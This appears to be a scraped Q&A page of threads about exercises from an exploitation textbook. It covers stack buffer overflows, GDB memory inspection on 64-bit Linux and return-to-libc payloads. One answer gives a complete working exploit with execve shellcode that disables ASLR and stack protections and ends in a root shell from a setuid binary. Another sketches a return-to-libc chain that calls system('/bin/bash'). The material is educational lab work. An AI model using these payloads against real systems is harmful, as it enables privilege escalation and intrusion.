Buffer overflow flows backwards? - c

Im reading the book "Hacking: The Art of Exploitation" and I came across a part of the book where it shows a supposed protection against buffer overflow vulnerabilities by rearranging variables in memory. I tried this and the program is still vulnerable to buffer overflows. Here is the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
//*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
char password_buffer[16];
int auth_flag = 0;
//*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
strcpy(password_buffer, password);
if (strcmp(password_buffer, "password1") == 0)
auth_flag = 1;
if (strcmp(password_buffer, "password2") == 0)
auth_flag = 0;
return auth_flag;
}
int main(int argc, char *argv[]) {
if (check_authentication(argv[1])) {
printf("ACCESS GRANTED");
} else {
printf("ACCESS DENIED");
}
}
This program, in short, checks an authentication key provided by the second command line argument and tells the user whether or not access was granted. The main point of focus is on the variables outlined by the comments with the asterisks. Theoredically, this arrangement of variables should prevent a buffer overflow attack as a result of the FILO data structure, meaning the password buffer should be located AFTER the auth_flag variable and therefore should prevent the password buffer from being an execution point for a buffer overflow. Here is an examination of the execution flow in GDB:
(gdb) break 9
Breakpoint 1 at 0x1188: file auth_overflow2.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x11d7: file auth_overflow2.c, line 16.
The first step in examining the program is to set breakpoints at line 9 (where the strcpy function is executed, before password authentication) and at line 16 (where the auth_flag is returned and the password authentication has then occurred). Then, we can run the program and examine the memory at breakpoint 1.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/user/Hacking/a.out aaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, check_authentication (password=0x7fffffffe484 'a' <repeats 29 times>) at auth_overflow2.c:9
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0x7fffffffe060: ""
(gdb) x/x &auth_flag
0x7fffffffe07c: 0x00
(gdb)x/16xw &auth_flag
0x7fffffffe07c: 0x00000000 0xffffe0a0 0x00007fff 0x55555229
0x7fffffffe08c: 0x00005555 0xffffe188 0x00007fff 0x00000000
0x7fffffffe09c: 0x00000002 0x55555270 0x00005555 0xf7e0609b
0x7fffffffe0ac: 0x00007fff 0x00000000 0x00000000 0xffffe188
As we can see from the output above, the auth_flag is at a proper 0 and the password buffer is empty. The last command in the output above also demonstrates that the auth_flag variable is properly located BEFORE the password buffer, so in theory a buffer overflow shouldn't effect the auth_flag variable in any way. Now lets continue the program and examine the memory after the authentication check.
(gdb) cont
Continuing.
Breakpoint 2, check_authentication (password=0x7fffffffe484 'a' <repeats 29 times>) at auth_overflow2.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0x7fffffffe060: 'a' <repeats 29 times>
(gdb) x/x &auth_flag
0x7fffffffe07c: 0x61
(gdb) x/16xw &auth_flag
0x7fffffffe07c: 0x00000061 0xffffe0a0 0x00007fff 0x55555229
0x7fffffffe08c: 0x00005555 0xffffe188 0x00007fff 0x00000000
0x7fffffffe09c: 0x00000002 0x55555270 0x00005555 0xf7e0609b
0x7fffffffe0ac: 0x00007fff 0x00000000 0x00000000 0xffffe188
As you can see from the output above, the auth_flag variable was somehow changed to a non-zero value even though the password buffer is located after the auth_flag variable.
So, with all of this information in mind, how is it possible that a buffer overflow flows BACKWARD in memory instead of forward?

Some compilers rearrange on-stack arrays so that they are not adjacent to the return address if there are other variables or spill slots in the stack frame, in the hope that limited overflows of a few bytes will no longer be able to reach the return address and thus redirect execution. If these variables are equally critical for security as the return address, this heuristics goes wrong, and in your hypothetical example, this appears to be the case.

Related

Cant access a specific memory address. on C program

I am working on the book "HACKING Art Of Exploitation " exercise Convert2.c page 61.
Here's my code. Below is my question.
#include <stdio.h>
void usage(char *program_name) {
printf("Usage: %s <message> <# of times to repeat>\n", program_name);
exit(1);
}
int main(int argc, char *argv[]) {
int i, count;
// if(argc < 3) //if fewer than 3 arguments is used
// usage(argv[0]); // display usage message and exit
count = atoi(argv[2]); //convert the second arg into an interger
printf("Repeating %d times\n", count);
for(i=0; i < count; i++)
printf("%3d - %s\n", i, argv[1]); // print the first arg
}
GDB OUTPUT...
➜ git:(master) ✗ 👽 gdb -q a.out
Reading symbols from a.out...done.
(gdb) run test
Starting program: /home/fruitdealer/clones/C_zombie/hacking/a.out test
Program received signal SIGSEGV, Segmentation fault.
__GI_____strtol_l_internal (nptr=0x0, endptr=endptr#entry=0x0, base=base#entry=10, group=group#entry=0,
loc=0x7ffff7dd0560 <_nl_global_locale>) at ../stdlib/strtol_l.c:292
292 ../stdlib/strtol_l.c: No such file or directory.
(gdb) break main
Breakpoint 1 at 0x555555554707: file convert.c, line 14.
(gdb) where
#0 __GI_____strtol_l_internal (nptr=0x0, endptr=endptr#entry=0x0, base=base#entry=10, group=group#entry=0,
loc=0x7ffff7dd0560 <_nl_global_locale>) at ../stdlib/strtol_l.c:292
#1 0x00007ffff7a29122 in __strtol (nptr=<optimized out>, endptr=endptr#entry=0x0, base=base#entry=10)
at ../stdlib/strtol.c:106
#2 0x00007ffff7a24690 in atoi (nptr=<optimized out>) at atoi.c:27
#3 0x000055555555471f in main (argc=2, argv=0x7fffffffdeb8) at convert.c:14
(gdb) run test
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/fruitdealer/clones/C_zombie/hacking/a.out test
Breakpoint 1, main (argc=2, argv=0x7fffffffdeb8) at convert.c:14
14 count = atoi(argv[2]); //convert the second arg into an interger
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__GI_____strtol_l_internal (nptr=0x0, endptr=endptr#entry=0x0, base=base#entry=10, group=group#entry=0,
loc=0x7ffff7dd0560 <_nl_global_locale>) at ../stdlib/strtol_l.c:292
292 ../stdlib/strtol_l.c: No such file or directory.
(gdb) x/3xw 0x7fffffffdeb8
0x7fffffffdeb8: 0xffffe220 0x00007fff 0xffffe250
(gdb) x/s 0xffffe220
0xffffe220: <error: Cannot access memory at address 0xffffe220>
(gdb) x/s 0xffffe250
0xffffe250: <error: Cannot access memory at address 0xffffe250>
(gdb) x/sw 0xffffe250
0xffffe250: <error: Cannot access memory at address 0xffffe250>
(gdb)
I posted all of gdb output because i wasn't sure how much of it you would need. My problem lies at the bottom of my GDB output when i run "x/s" on gdb and get the <error: Cannot access memory at address 0xffffe250> error.
On the book Jon Erickson is able to access 0xffffe220 and 0x00007fff and then he has an error on 0xffffe250 this part of memory.
What am i missing?
Why can't i access any of the three addresses in 0x7fffffffdeb8?
The first half of the address is cut off. If you notice, it takes 8 bytes to store the addresses because you are on a 64 bit machine, not 32. You are trying to access a truncated address.
Rather than three addresses at 0x7fffffffdeb8, you are looking at one and a half. Try accessing a byte that starts with 0x00007fff...

GDB doesn't let me read argv memory segment

I have this simple script written in C:
#include <stdio.h>
void usage(char *program_name) {
printf("Usage: %s <message> <# of times to repeat>\n", program_name);
exit(1);
}
int main(int argc, char *argv[]) {
int i, count;
// if(argc < 3) // If less than 3 arguments are used,
// usage(argv[0]); // display usage message and exit.
count = atoi(argv[2]); // convert the 2nd arg into an integer
printf("Repeating %d times..\n", count);
for(i=0; i < count; i++)
printf("%3d - %s\n", i, argv[1]); // print the 1st arg
}
And I'm making some test with GDB.
I did this:
(gdb) run test
Starting program: /home/user/Desktop/booksrc/convert2 test
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a56e56 in ____strtoll_l_internal () from /usr/lib/libc.so.6
Obviusly it goes in segmentation fault because to work the program needs three argv. And I commented the lines that do the control. So it goes in error.
(gdb) where
#0 0x00007ffff7a56e56 in ____strtoll_l_internal () from /usr/lib/libc.so.6
#1 0x00007ffff7a53a80 in atoi () from /usr/lib/libc.so.6
#2 0x00005555555546ea in main (argc=2, argv=0x7fffffffe958) at convert2.c:14
(gdb) break main
Breakpoint 1 at 0x5555555546d2: file convert2.c, line 14.
(gdb) run test
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/booksrc/convert2 test
Breakpoint 1, main (argc=2, argv=0x7fffffffe958) at convert2.c:14
14 count = atoi(argv[2]); // convert the 2nd arg into an integer
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a56e56 in ____strtoll_l_internal () from /usr/lib/libc.so.6
(gdb) x/3xw 0x7fffffffe958 // this is memory of the "argv" some line before
0x7fffffffe958: 0xffffebfe 0x00007fff 0xffffec22
(gdb) x/s 0xffffebfe
0xffffebfe: <error: Cannot access memory at address 0xffffebfe>
(gdb) x/s 0x00007fff
0x7fff: <error: Cannot access memory at address 0x7fff>
(gdb) x/s 0xffffec22
0xffffec22: <error: Cannot access memory at address 0xffffec22>
In theory, with "x/s" I should have seen the commandline in the first address and "test" in the second address and the null in the third. But nothing. If I copy paste that address to a ascii to string converter, it gives me data without any sense. What am I doing wrong?
Your platform uses 64bit pointers, so try :
(gdb) x/3xg 0x7fffffffe958
to display the 64bit pointers in the argv array, and then :
(gdb) x/s 0x00007fffffffebfe
or just :
(gdb) p argv[0]
First of all always check if the command line is correct
Uncomment the check from your code.
Then in the gdb set the arguments (before running it)
(gdb) set args "hello world" 12

Writing a Return-to-libc attack, but cannot get it to work correctly?

I need to perform a return on libc attack on is_virus() for a security class. The objective is to overflow traffic[] and overwrite the return address of is_virus() so that it returns to the libc function system() to open a shell. Now I have been spending hours on this and cannot get it to work.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ctype.h>
char *signatures[] = {"sys_open_ports", "sys_module", "write_binaries",
"sys_binaries"};
int is_virus(int argc, char ** argv)
{
char traffic[44];
int i, j, k, len;
traffic[0] = 0;
for (i = 1; i < argc; ++i)
strcat(traffic, argv[i]);
for (j = 0; j < 4; ++j) {
len = strlen(signatures[j]);
for (i = 0; i < (int)strlen(traffic); ++i)
if (strncmp(signatures[j], traffic+i, len) == 0)
return 1;
}
return 0;
}
int main(int argc, char ** argv)
{
if (argc < 2) {
system("echo 'usage: target3 network_traffic_packets'");
exit(1);
}
if (is_virus(argc, argv))
printf("Alarm! virus founded\n");
else
printf("safe.\n");
return 0;
}
Now I began by finding the addresses of system(), exit(), and the string /bin/bash.
I found these to be...
system() = 0x40071584
exit() = 0x400533a4
"/bin/bash" = 0xbffffefb This was found inside environmental variables
Now from my understanding, The return address of is_virus() needs to be replaced with the address of system() followed the address of exit(), and then the address of the string /bin/bash. Next, I located the return address of is_virus() by disassembling main inside gdb.
...
0x804868b <main+43>: pushl 0xc(%ebp)
0x804868e <main+46>: pushl 0x8(%ebp)
0x8048691 <main+49>: call 0x8048570 <is_virus>
0x8048696 <main+54>: add $0x10,%esp
0x8048699 <main+57>: mov %eax,%eax
...
So is_virus() should return to the address 0x8048696. I used this to determine how much padding I will need. Looking at memory shortly after the stack pointer...
Breakpoint 1, is_virus (argc=2, argv=0xbffffb34) at target3.c:15
15 traffic[0] = 0;
(gdb) x/32xw $esp
0xbffffa60: 0xbffffaa0 0x4000d2b6 0x40016b34 0x40021298
0xbffffa70: 0x00000001 0x00000000 0x40021000 0x400212b8
0xbffffa80: 0xbffffac0 0x4000d2b6 0x08049840 0x080482cb
0xbffffa90: 0x4002d164 0x40158154 0x400168e4 0x4013d12e
0xbffffaa0: 0xbffffad8 0x4000d450 0xbffffac8 0x08048696
0xbffffab0: 0x00000002 0xbffffb34 0xbffffad8 0x08048551
0xbffffac0: 0x08049820 0x08049934 0xbffffb08 0x4003e507
0xbffffad0: 0x00000002 0xbffffb34 0xbffffb40 0x080483b2
As we can see the return address is at 0xbffffab2. Now playing with passing 'A's, I found 60 bytes gets me just before this address.
So with all the info I constructed the input
./target3 $(perl -e 'print "AAAA"x15, "\x84\x15\x07\x40", "\xa4\x33\x05\x40", "\xfb\xfe\xff\xbf"')
And looking at data after strcpy() it looks correct.
(gdb) x/32xw $esp
0xbffffa20: 0xbffffa60 0x4000d2b6 0x40016b34 0x00000001
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa60: 0x41414141 0x41414141 0x41414141 0x40071584
0xbffffa70: 0x400533a4 0xbffffefb 0xbffffa00 0x08048551
0xbffffa80: 0x08049820 0x08049934 0xbffffac8 0x4003e507
0xbffffa90: 0x00000002 0xbffffaf4 0xbffffb00 0x080483b2
But the issue is that the exit() address overwrites where argc's value is stored and causes the fist loop executes more than once and crashes. Ive tried changing this value to 0xFFFFFFFF and forgetting about the clean exit, but as the function is_virus() tries to return, I get the error
Cannot access memory at address 0xffffffff
Any help would be appreciated!
As I noted in comment, the first stack view shows return address at 0xbffffaac, not 0xbffffab2. But that does not matter, as you found out correct padding by experiment. BTW, if would probably help more to target your attack knowingly by running ./target3 ABC and breakpointing at second for of is_virus(...), so you would have exact idea where did the "ABC" land into traffic buffer.
Also there's no such thing as system() in libc. It is int system(const char *cmd); (according to the link), and exit() is void exit(int exit_code);, at least put "..." into that parentheses, so readers don't have to think if it's really void argument call, or just shortened form.
disclaimer: any asm in this answer is Intel syntax, because I can't bother with AT&T, but as the answer doesn't contain any serious code, it shouldn't really matter, thing like add esp,12 vs addl $12,%esp is hopefully easy to understand.
So to "return to libc to system(...)" in a way to emulate:
{
system("/bin/bash");
exit(<anything>);
}
You want to have at stack the thing you tried to put there:
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
So far, so good.
Your problem is, as you figured out, that 0x400533a4 exit() address acts as new argc value, ruining the run of first loop.
So how about building stack like this:
<magic>
<neg_value> ; any negative value to be used as new argc
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
And the <magic> is address of libc code, which will effectively do:
add esp,4 ; or "pop anything"
ret
At my machine with statically linked libc into your example C file I can see near the system() entry point this machine code (didn't bother to search for the exact match):
<system()+0x27>:
add esp,12
movzx eax,al
ret
Looks "good-enough" to me to be abused. By putting there some more padding and starting with my new return address like:
<system+0x27> ; add esp,12 + ret
<neg_value> ; any negative value to be used as new argc
<junk1> ; to make 12 bytes junk in stack
<junk2> ; to make 12 bytes junk in stack
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
I think I would achieve the call sequence you want (or rather to say the "ret sequence" :) ).
Didn't verify, because I'm unable to compile the original C in such plain way to make the stack overflow work + to have static libc addresses, on my main system it adds lot of cruft around + stack check (which I managed to switch off, but still I have completely different addresses of libc functions and stack, not resembling your values).
But I think this is the approach true to the nature of "return to" type of attack payload building, so it should give you idea how to proceed further. GL, HF. :)

Buffer overflow in 64 bit with strcpy

I'm basically trying to run a buffer overflow attack. Based on what I understand we need 3 parts:
A nope sled
Shell Code to execute
Return address
The problem I'm having is in 64 bit linux the return address is something like 0x00007fffffffdcf2. In Strcpy if a null character is seen then it will stop copying. So basically in the end I endup with something like this:
0x7fffffffe233: 0x9090909090909090 0x9090909090909090
0x7fffffffe243: 0x9090909090909090 0x9090909090909090
0x7fffffffe253: 0x9090909090909090 0x9090909090909090
0x7fffffffe263: 0x9090909090909090 0x9090909090909090
0x7fffffffe273: 0xb099c931db31c031 0x6851580b6a80cda4
0x7fffffffe283: 0x69622f6868732f2f 0x8953e28951e3896e
0x7fffffffe293: 0x909090909080cde1 0x43007fffffffdcf2 <<< This line
If you look at the last 8 bytes instead of
0x00007fffffffdcf2
we have
0x43007fffffffdcf2
I'm assuming the 43 is just garbage data at the start. So basically is there any way to overcome this or does buffer over flow attacks not work on 64 bit systems for the strcpy function?
This is my code (based off the book the art of exploitation):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80\x90\x90\x90\x90\x90";
int main(int argc, char *argv[]) {
uint64_t i;
uint64_t ret;
uint64_t offset=270;
char *command, *buffer, *test;
command = (char *) malloc(200);
test = (char *)malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = ((uint64_t)(&i)- offset); // set return address
for(i=0; i < 200; i+=8) // fill buffer with return address
memcpy((uint64_t *)((uint64_t)buffer+i), &ret, 8);
memset(buffer, 0x90, 64); // build NOP sled
memcpy(buffer+64, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
}
Any help will be greatly appreciated.
I was able to modify your sample code to get it to work in 64-bit with the notesearch program from the book.
Many of the protections in modern OSes and build tools must be turned off for this to work, but it is obviously for educational purposes, so that's reasonable for now.
First, turn off ASLR on your system with:
echo 0 > /proc/sys/kernel/randomize_va_space
This must be done as root, and it won't work with sudo, since the sudo will only apply to the echo command, not the redirection. Just sudo -i first, then run it.
Next, the notesearch program must be compiled with two important safety protections disabled. By default, your program would be built with stack canaries for the detection of buffer overflows and also a non-executable stack, since there's usually no legitimate reason to run code from the stack.
gcc -g -z execstack -fno-stack-protector -o notesearch notesearch.c
Now, the exploit code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
"\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x7fffffffe1c0;
memcpy(buffer, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
}
This problem can be narrowed down to a simple return address overwrite, so no NOP sled is required. Additionally, the shellcode from your original post was for 32-bit only. The 64-bit shellcode I used is from http://shell-storm.org/shellcode/files/shellcode-806.php.
The big question: Where did 0x78 and 0x7fffffffe1c0 come from? I started out with a number larger than 0x78 since I didn't know what to use. I just guessed 175 since it's bigger than the target buffer. So the first iteration had these lines:
memset(buffer, 'A', 175); // Overflow buffer
//*(unsigned long long*)(buffer+???) = ???;
Now to try that out. Note that, while testing, I used a non-setuid version of notesearch to facilitate successful core dumps.
ulimit -c unlimited
gcc myexp.c
./a.out
The notesearch program crashed and created a core file:
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault (core dumped)
deb82:~/notesearch$
Running gdb ./notesearch core shows:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe2c8) at notesearch.c:35
35 }
(gdb)
Good. It crashed. Why?
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe1e8: 0x4141414141414141
(gdb)
It's trying to return to our controlled address (all A's). Good. What offset from our controlled string (searchstring) points to the return address?
(gdb) p/x (unsigned long long)$rsp - (unsigned long long)searchstring
$1 = 0x78
(gdb)
So now we try again, with these changes:
memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x4242424242424242;
Again, we get a core dump. Analyzing it shows:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe318) at notesearch.c:35
35 }
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe238: 0x4242424242424242
(gdb)
Good, we controlled the return address more surgically. Now, what do we want to put there instead of a bunch of B's? Search a reasonable range of stack for our shellcode (0xbb48c031 is a DWORD corresponding to the first 4 bytes in the shellcode buffer). Just mask off the lower 3 digits and start at the beginning of the page.
(gdb) find /w 0x7fffffffe000,$rsp,0xbb48c031
0x7fffffffe1c0
1 pattern found.
(gdb)
So our shellcode exists on the stack at 0x7fffffffe1c0. This is our desired return address. Updating the code with this information, and making notesearch setuid root again, we get:
deb82:~/notesearch$ whoami
user
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
# whoami
root
#
The code I provided may work as is on your setup, but most likely, you'll probably need to follow a similar path to get the correct offsets to use.

Stack-Based Buffer Overflow Vulnerabilities

I am reading a book titled Hacking: The Art of Exploitation, and I have a problem with the section Stack-Based Buffer Overflow Vulnerabilities.
I am following the instructions given by the author, but I don't get the expected results.
First, here is the program auth_overflow2.c, copied from the book:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
}
This is a copy of my Ubuntu terminal:
(gdb) break 19
Breakpoint 1 at 0x40077b: file auth_overflow.c, line 19.
(gdb) break 7
Breakpoint 2 at 0x4006df: file auth_overflow.c, line 7.
(gdb) break 12
Breakpoint 3 at 0x40072a: file auth_overflow.c, line 12.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/test/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, main (argc=2, argv=0x7fffffffdf08) at auth_overflow.c:19
19 if(check_authentication(argv[1])) {
(gdb) i r esp
esp 0xffffde10 -8688
(gdb) x/32xw $esp
0xffffffffffffde10: Cannot access memory at address 0xffffffffffffde10
(gdb) c
Continuing.
Breakpoint 2, check_authentication (password=0x7fffffffe2cc 'A' <repeats 30 times>) at auth_overflow.c:7
7 strcpy(password_buffer, password);
(gdb) i r esp
esp 0xffffddc0 -8768
(gdb) x/32xw $esp
0xffffffffffffddc0: Cannot access memory at address 0xffffffffffffddc0
(gdb) p 0xffffde10 - 0xffffddc0
$1 = 80
(gdb) x/s password_buffer
0x7fffffffdde0: "\001"
(gdb) x/x &auth_flag
0x7fffffffdddc: 0x00
(gdb)
When i try x/32xw $esp i get:
0xffffffffffffde10: cannot access memory at address 0xffffffffffffde10
Same thing happens when i continue to the second break point.
When author types x/s password_buffer the output is:
0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\bH???????\002"
but my output looks like this:
0x7fffffffdde0: "\001"
My i r esp result is also different from the book.
in the book there are two hexadecimal numbers:
esp 0xbffff7e0 0xbffff7e0
I am using Ubuntu and GCC and GDB.
I think I might have the answer - your argv[ 1 ] is pointing to the 30 'A's - and you have a password buffer of 16. The strcpy() will just fill the buffer and beyond.
I would increase the buffer size to a larger size (say 255 bytes).
In practise, you should review your code, even examples, and make them more robust (example: allowing for larger passwords then 16 )
Please less the number of As try A(17) times it will work

Resources